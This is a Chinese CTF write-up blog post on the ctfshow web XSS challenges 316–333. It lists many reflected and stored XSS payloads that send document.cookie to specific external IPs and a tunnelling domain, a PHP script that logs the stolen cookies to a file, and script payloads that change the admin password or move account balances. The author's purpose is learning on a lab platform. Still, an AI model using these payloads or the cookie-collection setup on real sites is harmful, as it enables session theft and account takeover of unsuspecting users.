• ctfshow_web入门 xss


    额,怎么说呢,对xss理解不深刻,虽然做了XSS-LAB,但是感觉不会用,看了群主的视频,知道了原因,用群主的话来说就是,X的是自己。。。

    这个文章写得比较潦草。。。

    准备一个带nc的工具;

    无vps

    """

    牛啊牛啊!群主之前发了一个无公网IP反弹shell的视频,学到了学到了,牛啊牛啊。太牛了,群主顶呱呱。

    """

    这里以web321做一个例子:

    准备:kali虚拟机,花生壳

    image-20210831170610965

    先进行穿透,接着测试一下本地能不能连通什么的。我虚拟机的虚拟网卡需要重启一下才能够连通虚拟机。如果本地不能连通,那么就反弹不了。当然这里不需要反弹shell,只需要外带就行。

    先进行本地测试:windows(本机)curl 域名,kali侦听8181端口(穿透哪个端口,就侦听哪一个)

    image-20210831171626558

    可以看到kali能够接受到windows这边的请求。

    接着就可以在题目中进行外带cookie了:

    image-20210831172232057

    这就外带成功了。大师傅牛啊牛啊。

    这种方式外带,需要等10秒

    有vps就不多说了,看一看防火墙开端口,或者是安全组开端口没,关闭防火墙之后也可能别安全组挡下来(又有的叫安全策略组,叫法无所谓)。

    再看看nc工具是不是需要更新一下(加一个--v参数,如果指定的参数和显示的参数不一样,就说明nc有点小毛病了)。或者是多重启几次。。。

    我之前能踩的坑都踩了一遍,一天下来一个题都没做。xss全是x的自己,呜呜呜。

    搜寻一波能够XSS的先

    外带
    
    <script>
    var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
    </script>
    <script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
    
    <script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
    
    <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
    
    <input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
    通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
    
    <svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
    
    <iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
    
    <body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
    

    web 316

    需要生成链接,拿到管理员的cookie;提交构造的连接,后台bot每隔10S会点击一次链接。

    要注意,拿cookie要拿管理员的cookie,或者说是拿后台bot的cookie,而不是拿自己的cookie;

    按照上面的那个步骤做就好了

    web 317

    说的是过滤了xss,所以只能够用自己的vps了

    web 320

    过滤空格

    用tab代替,在hackbar中写入%09,利用hackbar进行urldecode

    用/**/代替

    web 321

    不知道过滤了啥

    paylaod:

    <body	onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
    

    web 322

    不知道过滤了啥,同上

    web 323-6

    <body/**/onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">
    

    感觉是,姿势越骚,越不容易被过滤

    看了一下,Y4爷的博客,

    324过滤;

    325过滤.,?但是没有感觉喃?

    web 327

    存储型xss;发送者和接受者都用的admin,剩余的随便,内容是:<body onload="window.open('http://394r0g4861.qicp.vip/'+document.cookie)">

    拿到了flag,但是怎么就拿到了呢???

    看了视频,大师傅说的是,发送者是admin就行了

    web 328

    在本地,不知道为啥nc拿不到数据了,所以采用写接受脚本的方式来接受cookie

    <?php
    $data=$_GET['data'];
    $myfile=fopen('xss_flag.txt',"w") or die("unable to open file!");
    fwrite($myfile,$data);
    echo "done";
    ?>
    

    唔,按理来讲,将花生壳的端口修改为80端口(kali用的是PHP7.3和Apache),也能够接受信息,但是虚拟机出了点问题,所以就用了vps;脚本还是不变;

    解题:

    注册用户名随便设置:

    密码如下:

    <body onload="window.open('http://121.41.2.26/x.php?data=/'+document.cookie)"></body>
    

    或者

    <script>window.location.href='http://121.41.2.26/x.php?data='+document.cookie</script>
    

    接着登录:查看xss_flag.txt,拿到admin的cookie

    image-20210905220120349

    将cookie修改为admin的cookie

    image-20210905220357837

    开启抓包,刷新界面,一步一步forward,即可看到flag

    image-20210905220335982

    web 329

    不会,思路是:执行js代码,实现页面内容的外带

    web 330

    想的是登录管理员的账号,由于没有密码

    思路是:修改管理员密码,以管理员身份进行登录

    解题:

    注册:

    账户名为<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>

    密码:1

    接着用账户<script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script>登录一次,登出;

    登录管理员账号:admin 密码:3(抓包防止跳转)

    web 331

    试了一下账号密码等地方的注入,都不行,所以抓包看一下,发现是利用post方式进行已交,那么就构造post提交的的方式。

    大师傅是构造的:(从源代码中的js文件中找到的一个ajax提交)

    <script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
    

    bfengj师傅利用js发送了一个http请求:

    <script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
    

    web 332

    登录检查一遍,发现是post传参,所以依旧似是用331的payload来进行了一次提交,结果不行。于是看了大师傅的视频。

    ???转账-10000

    随便注册登录一下,接着在转账界面,收款用户是admin,然后付款-10000,接着购买

    web 333

    盲猜是转账加过滤了332的情况。

    注册账户:12,密码随便

    注册账户: <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>,密码随便

    随后登录账户12,即可购买flag。

    /api/amount.php <script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>
    

    总结

    虽然说题是做完了,同样也了解了反射型和存储型XSS的攻击方式。反射型是生成了链接同时被后台点击,存储型这里就不太清楚了,感觉是生成了被反复执行的代码存放到了后台。同时每一次访问该界面就会触发一次。

    因为做题时是看的大师傅的视频和bfengj师傅的博客,学习到了很多。

    同时也被两位师傅的技术栈给震撼到。一路过来都是看的各种师傅们的博客,在做题的时候也学习到了各种方法。

    所以有事没事,看看ctfshow

  • 相关阅读:
    Bash的提示符
    小笨霖英语笔记本(5)
    什么是VLAN
    阅读笔记:双核心Opteron处理器
    小笨霖英语笔记本(4)
    搭乘CCNUMA快车
    得到tnsnames.ora文件的位置 zz
    关于64位Windows操作系统中的注册表 zz
    Temp.Misc
    HttpHandler HttpModule入门篇
  • 原文地址:https://www.cnblogs.com/upstream-yu/p/15377003.html
Copyright © 2020-2023  润新知